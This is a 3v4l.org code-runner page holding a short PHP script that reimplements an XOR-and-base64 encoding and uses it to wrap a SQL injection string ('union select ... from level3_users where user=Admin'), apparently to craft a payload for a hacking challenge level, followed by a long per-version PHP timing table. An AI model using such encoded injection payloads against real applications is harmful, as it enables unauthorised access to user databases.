3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo(encrypt("MTI5MTY0MTczMTY5MTc0' union select 1,2,3,4,5 from level3_users where user=Admin limit 1")); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0110.00418.23
8.3.50.0160.00322.11
8.3.40.0120.00318.58
8.3.30.0070.00719.07
8.3.20.0040.00420.08
8.3.10.0090.00022.09
8.3.00.0000.00722.25
8.2.180.0100.01016.63
8.2.170.0110.00422.96
8.2.160.0030.01020.39
8.2.150.0060.00325.66
8.2.140.0080.00024.66
8.2.130.0070.00026.16
8.2.120.0050.00317.63
8.2.110.0030.00720.57
8.2.100.0040.00817.72
8.2.90.0050.00318.28
8.2.80.0050.00318.05
8.2.70.0050.00517.75
8.2.60.0050.00318.03
8.2.50.0080.00018.07
8.2.40.0080.00018.16
8.2.30.0000.00818.10
8.2.20.0030.00517.76
8.2.10.0040.00419.56
8.2.00.0040.00417.79
8.1.280.0140.00025.92
8.1.270.0080.00019.11
8.1.260.0080.00026.35
8.1.250.0040.00428.09
8.1.240.0050.00522.14
8.1.230.0110.00021.03
8.1.220.0040.00417.91
8.1.210.0060.00318.98
8.1.200.0030.00717.35
8.1.190.0030.00617.41
8.1.180.0050.00318.10
8.1.170.0050.00318.53
8.1.160.0080.00321.87
8.1.150.0000.00818.65
8.1.140.0100.00017.30
8.1.130.0040.00417.91
8.1.120.0030.00417.46
8.1.110.0020.00517.35
8.1.100.0050.00317.36
8.1.90.0050.00217.43
8.1.80.0040.00417.35
8.1.70.0000.00717.40
8.1.60.0100.00317.45
8.1.50.0000.00717.56
8.1.40.0000.00817.48
8.1.30.0000.00717.67
8.1.20.0050.00517.75
8.1.10.0000.00717.56
8.1.00.0000.00717.47
8.0.300.0000.00720.09
8.0.290.0040.00417.18
8.0.280.0080.00018.48
8.0.270.0000.00717.36
8.0.260.0030.00316.82
8.0.250.0070.00016.87
8.0.240.0030.00616.89
8.0.230.0020.00517.04
8.0.220.0040.00416.98
8.0.210.0020.00516.92
8.0.200.0030.00317.04
8.0.190.0040.00416.93
8.0.180.0040.00316.98
8.0.170.0030.00516.85
8.0.160.0050.00216.82
8.0.150.0000.00816.85
8.0.140.0000.00816.90
8.0.130.0030.00313.32
8.0.120.0000.00816.89
8.0.110.0000.00716.86
8.0.100.0000.00716.80
8.0.90.0000.00716.96
8.0.80.0050.01116.86
8.0.70.0040.00416.92
8.0.60.0070.00016.91
8.0.50.0050.00316.89
8.0.30.0100.01017.11
8.0.20.0080.01017.40
8.0.10.0000.00717.02
8.0.00.0100.01316.75
7.4.330.0000.00515.14
7.4.320.0000.00616.47
7.4.300.0000.00816.49
7.4.290.0070.00016.48
7.4.280.0040.00416.54
7.4.270.0000.00716.44
7.4.260.0060.00316.50
7.4.250.0000.00716.56
7.4.240.0060.00216.62
7.4.230.0030.00316.45
7.4.220.0030.01316.67
7.4.210.0100.00516.64
7.4.200.0000.00716.60
7.4.190.0030.00316.52
7.4.160.0070.01016.43
7.4.150.0130.00617.40
7.4.140.0130.00617.86
7.4.130.0110.00616.69
7.4.120.0100.01016.52
7.4.110.0140.00716.45
7.4.100.0170.00316.54
7.4.90.0100.00716.52
7.4.80.0150.00519.39
7.4.70.0110.00616.53
7.4.60.0130.01016.35
7.4.50.0060.00316.38
7.4.40.0070.01022.77
7.4.30.0000.01716.74
7.4.00.0100.00814.88
7.3.330.0030.00513.39
7.3.320.0050.00013.20
7.3.310.0000.00716.30
7.3.300.0030.00316.28
7.3.290.0110.00416.34
7.3.280.0060.01116.39
7.3.270.0110.01117.40
7.3.260.0100.00716.61
7.3.250.0100.00816.63
7.3.240.0090.01316.41
7.3.230.0130.00316.39
7.3.210.0090.00916.54
7.3.200.0090.01219.39
7.3.190.0110.00816.66
7.3.180.0090.00616.47
7.3.170.0080.00816.49
7.3.160.0060.00916.45
7.3.120.0080.00814.94
7.3.110.0130.00314.56
7.3.100.0070.01315.04
7.3.90.0070.00714.59
7.3.80.0110.00714.95
7.3.70.0030.01014.93
7.3.60.0060.00914.82
7.3.50.0030.01314.86
7.3.40.0090.00015.00
7.3.30.0060.01214.93
7.3.20.0030.01416.55
7.3.10.0020.01016.67
7.3.00.0070.00616.63
7.2.330.0060.01216.78
7.2.320.0090.00916.73
7.2.310.0000.01716.66
7.2.300.0100.01616.90
7.2.290.0040.01116.41
7.2.250.0000.02015.24
7.2.240.0100.01014.79
7.2.230.0110.00414.91
7.2.220.0070.01015.30
7.2.210.0040.01115.14
7.2.200.0070.00315.10
7.2.190.0070.00715.20
7.2.180.0130.00315.18
7.2.170.0060.00614.84
7.2.160.0070.01114.79
7.2.150.0000.01716.92
7.2.140.0040.00717.02
7.2.130.0070.00716.84
7.2.120.0080.00716.84
7.2.110.0070.00316.92
7.2.100.0070.00816.91
7.2.90.0050.01116.89
7.2.80.0040.01016.91
7.2.70.0090.00417.06
7.2.60.0030.01216.94
7.2.50.0080.00616.98
7.2.40.0110.00117.04
7.2.30.0060.00617.07
7.2.20.0060.00816.84
7.2.10.0040.00716.90
7.2.00.0030.01017.66
7.1.330.0070.01115.56
7.1.320.0110.00715.97
7.1.310.0070.00715.57
7.1.300.0070.00715.52
7.1.290.0120.00315.87
7.1.280.0100.00715.66
7.1.270.0070.00715.75
7.1.260.0030.00616.00
7.1.250.0060.00715.79
7.1.240.0080.00815.76
7.1.230.0030.01315.77
7.1.220.0030.01015.55
7.1.210.0030.00615.84
7.1.200.0000.01315.83
7.1.190.0060.00915.90
7.1.180.0090.00015.99
7.1.170.0000.00915.98
7.1.160.0080.00615.81
7.1.150.0080.00515.90
7.1.140.0080.00615.83
7.1.130.0040.01115.54
7.1.120.0060.00915.99
7.1.110.0000.00915.66
7.1.100.0110.00516.94
7.1.90.0040.01115.83
7.1.80.0030.00615.53
7.1.70.0050.00616.50
7.1.60.0150.00317.88
7.1.50.0080.00816.39
7.1.40.0090.00615.75
7.1.30.0070.00715.52
7.1.20.0030.01415.86
7.1.10.0060.00315.76
7.1.00.0060.04019.04
7.0.330.0030.00715.37
7.0.320.0070.00415.32
7.0.310.0040.00715.51
7.0.300.0070.00315.40
7.0.290.0100.00315.18
7.0.280.0090.00615.27
7.0.270.0070.01015.33
7.0.260.0040.00715.23
7.0.250.0100.00015.31
7.0.240.0030.00615.54
7.0.230.0040.01115.24
7.0.220.0000.00915.28
7.0.210.0090.00615.47
7.0.200.0060.00416.04
7.0.190.0100.00715.46
7.0.180.0030.01415.63
7.0.170.0080.00415.56
7.0.160.0130.00015.60
7.0.150.0120.00315.43
7.0.140.0050.04218.78
7.0.130.0040.01215.20
7.0.120.0060.00715.07
7.0.110.0030.00615.53
7.0.100.0070.00715.44
7.0.90.0090.00615.40
7.0.80.0060.00615.33
7.0.70.0000.01315.46
7.0.60.0070.04017.76
7.0.50.0060.02916.61
7.0.40.0130.03816.80
7.0.30.0150.02816.84
7.0.20.0120.03916.85
7.0.10.0180.02416.87
7.0.00.0090.02716.87
5.6.400.0030.00914.08
5.6.390.0090.00314.55
5.6.380.0070.01014.46
5.6.370.0120.00314.50
5.6.360.0100.00314.04
5.6.350.0060.00314.17
5.6.340.0070.00714.73
5.6.330.0040.01114.51
5.6.320.0090.00614.67
5.6.310.0060.00914.17
5.6.300.0030.00614.63
5.6.290.0110.00614.31
5.6.280.0100.03717.82
5.6.270.0100.00614.52
5.6.260.0030.00814.26
5.6.250.0090.00614.41
5.6.240.0000.01014.43
5.6.230.0080.00314.59
5.6.220.0100.00314.33
5.6.210.0040.04817.54
5.6.200.0050.04616.22
5.6.190.0080.03317.32
5.6.180.1670.02017.46
5.6.170.0080.02517.38
5.6.160.0080.04517.50
5.6.150.0100.04016.31
5.6.140.0080.03516.24
5.6.130.0100.04216.32
5.6.120.0120.04117.70
5.6.110.0070.04917.75
5.6.100.0070.02317.84
5.6.90.0050.04917.75
5.6.80.0000.04617.30
5.6.70.0150.04217.20
5.6.60.0060.00814.23
5.6.50.0060.00914.14
5.6.40.0040.01014.18
5.6.30.0100.00314.43
5.6.20.0060.00914.18
5.6.10.0040.00714.55
5.6.00.0050.00514.35
5.5.380.0070.01014.62
5.5.370.0000.01114.57
5.5.360.0060.00614.34
5.5.350.0050.03517.54
5.5.340.0080.03816.36
5.5.330.0050.02517.57
5.5.320.0100.02617.40
5.5.310.0180.04117.41
5.5.300.0070.03216.18
5.5.290.0060.04316.24
5.5.280.0050.02517.51
5.5.270.0180.01517.43
5.5.260.0060.02617.63
5.5.250.0050.03417.49
5.5.240.0080.03717.31
5.5.230.0030.00714.46
5.5.220.0070.01014.20
5.5.210.0000.01014.10
5.5.200.0060.00614.16
5.5.190.0030.01014.57
5.5.180.0070.00814.28
5.5.170.0030.01413.98
5.5.160.0100.00314.30
5.5.150.0070.00714.45
5.5.140.0030.00714.31
5.5.130.0030.01013.85
5.5.120.0040.01114.34
5.5.110.0080.00414.20
5.5.100.0060.00913.90
5.5.90.0040.01114.15
5.5.80.0070.00414.45
5.5.70.0040.00814.30
5.5.60.0060.01014.39
5.5.50.0090.00614.31
5.5.40.0120.00314.34
5.5.30.0040.01414.23
5.5.20.0030.00714.27
5.5.10.0100.00714.16
5.5.00.0030.01414.31
5.4.450.0140.03116.50
5.4.440.0350.03516.57
5.4.430.0120.02816.63
5.4.420.0100.02816.49
5.4.410.0090.02916.55
5.4.400.0420.00216.22
5.4.390.0430.00416.08
5.4.380.0170.03216.17
5.4.370.0070.03516.17
5.4.360.0040.03716.09
5.4.350.0100.03416.05
5.4.340.0080.03216.17
5.4.330.0030.00513.59
5.4.320.0050.02513.05
5.4.310.0050.02313.04
5.4.300.0060.02513.05
5.4.290.0070.02813.04
5.4.280.0040.02412.99
5.4.270.0130.02616.28
5.4.260.0060.04316.25
5.4.250.0050.03516.25
5.4.240.0070.03616.22
5.4.230.0100.03216.17
5.4.220.0030.04116.18
5.4.210.0070.04216.18
5.4.200.0080.02816.28
5.4.190.0050.03816.18
5.4.180.0080.02816.25
5.4.170.0020.04716.25
5.4.160.0150.03216.16
5.4.150.0070.03316.10
5.4.140.0060.03715.10
5.4.130.0030.03015.00
5.4.120.0100.03415.01
5.4.110.0070.02814.98
5.4.100.0050.03315.06
5.4.90.0050.02815.05
5.4.80.0100.02015.00
5.4.70.0080.02515.04
5.4.60.0020.03315.01
5.4.50.0080.03715.00
5.4.40.0070.03015.00
5.4.30.0050.02815.09
5.4.20.0070.03215.03
5.4.10.0060.03315.02
5.4.00.0120.03214.79
5.3.290.0050.02313.19
5.3.280.0050.03314.09
5.3.270.0020.03814.13
5.3.260.0120.02514.17
5.3.250.0070.02714.09
5.3.240.0120.03714.10
5.3.230.0070.03014.21
5.3.220.0100.02614.12
5.3.210.0110.03514.09
5.3.200.0050.03114.06
5.3.190.0120.03514.07
5.3.180.0050.03114.07
5.3.170.0080.02814.12
5.3.160.0120.03014.08
5.3.150.0070.02714.19
5.3.140.0030.03414.06
5.3.130.0090.03514.11
5.3.120.0090.03014.13
5.3.110.0030.03914.06
5.3.100.0070.03713.80
5.3.90.0050.03613.84
5.3.80.0070.03313.84
5.3.70.0020.03513.72
5.3.60.0050.02813.79
5.3.50.0120.03113.81
5.3.40.0070.02913.81
5.3.30.0070.03113.79
5.3.20.0080.03313.65
5.3.10.0050.03013.66
5.3.00.0030.03313.65
5.2.170.0100.04711.14
5.2.160.0030.04011.38
5.2.150.0170.04011.31
5.2.140.0070.04711.23
5.2.130.0170.04011.27
5.2.120.0030.04311.19
5.2.110.0030.04711.09
5.2.100.0070.04011.20
5.2.90.0030.05011.33
5.2.80.0130.05311.08
5.2.70.0070.05011.18
5.2.60.0170.04711.05
5.2.50.0070.04311.11
5.2.40.0070.04311.07
5.2.30.0070.04711.04
5.2.20.0070.05010.95
5.2.10.0100.03310.85
5.2.00.0170.04010.81
5.1.60.0070.04010.09
5.1.50.0000.04010.00
5.1.40.0100.0379.90
5.1.30.0030.03710.29
5.1.20.0130.04310.36
5.1.10.0000.04710.05
5.1.00.0070.04010.13
5.0.50.0030.0338.62
5.0.40.0070.0378.52
5.0.30.0030.0538.15
5.0.20.0030.0338.04
5.0.10.0000.0308.43
5.0.00.0070.0478.24
4.4.90.0100.0236.57
4.4.80.0000.0236.57
4.4.70.0070.0206.57
4.4.60.0030.0336.57
4.4.50.0030.0306.57
4.4.40.0000.0376.57
4.4.30.0070.0206.57
4.4.20.0000.0276.57
4.4.10.0100.0176.57
4.4.00.0030.0336.57
4.3.110.0030.0306.57
4.3.100.0000.0276.57
4.3.90.0100.0206.57
4.3.80.0000.0436.57
4.3.70.0130.0106.57
4.3.60.0070.0206.57
4.3.50.0030.0206.57
4.3.40.0030.0306.57
4.3.30.0000.0336.57
4.3.20.0000.0276.57
4.3.10.0000.0236.57
4.3.00.0130.0206.13

preferences:
56.28 ms | 401 KiB | 5 Q